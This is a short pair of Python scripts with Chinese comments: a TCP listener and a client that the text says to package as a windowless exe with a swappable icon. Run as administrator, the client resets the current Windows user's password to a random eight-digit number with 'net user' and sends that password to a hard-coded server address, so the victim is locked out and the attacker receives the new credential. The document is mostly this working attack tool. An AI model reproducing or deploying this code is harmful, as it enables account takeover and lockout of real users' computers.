server-windows.py(此为服务端的程序,绑定端口视情况而定)
import socket
#本机所运行的代码
# 创建socket对象(socket.AF_INET(指定ipv4),socket.SOCK_STREAM(指定tcp的通信模型))
tcp_server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 绑定ip / port(利用IP找到我们电脑,利用端口去找程序)传入的值类型为元祖
tcp_server.bind(('',6789))
#监听端口(监听等待)
tcp_server.listen(5)
print("starting.....")
conn,addr = tcp_server.accept()
# 连接
print(conn)
print('client add:',addr)
print('ready to recv the password')
client_msg = conn.recv(1024) #发送最大字节为1024
print('client passwordchanged:%s' %client_msg)
conn.send(client_msg.upper())
conn.close()
tcp_server.close()
client-windows.py(此为客户端程序后会通过pyinstaller打包成exe文件,可自行更换图标)
import ctypes,sys
import socket
import getpass
import subprocess
import random
#打包工具(这里用的豆瓣源下载的)pip install pyinstaller -i "https://pypi.douban.com/simple/"---->pyinstaller -F -w 文件名
#获取Windows最高系统权限
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
#创建socket 套接字
tcp_client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接server端ip 地址/端口
tcp_client.connect(('192.168.1.5',6789))
#获取计算机用户名
user= getpass.getuser()
#密码变量
psd = ''
#生成1-9的随机数8位
for i in range(1,9):
m = str(random.randrange(0,10))
psd = psd + m
#创建一个新的进程 在本地执行 cmd
subprocess.Popen(['net','User',user,psd])
#将这个密码发送给服务端
tcp_client.send(psd.encode('utf-8'))
back_msg = tcp_client.recv(1024)
tcp_client.close()
print(psd)
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None,"runas",sys.executable,__file__,None,1)
else:
pass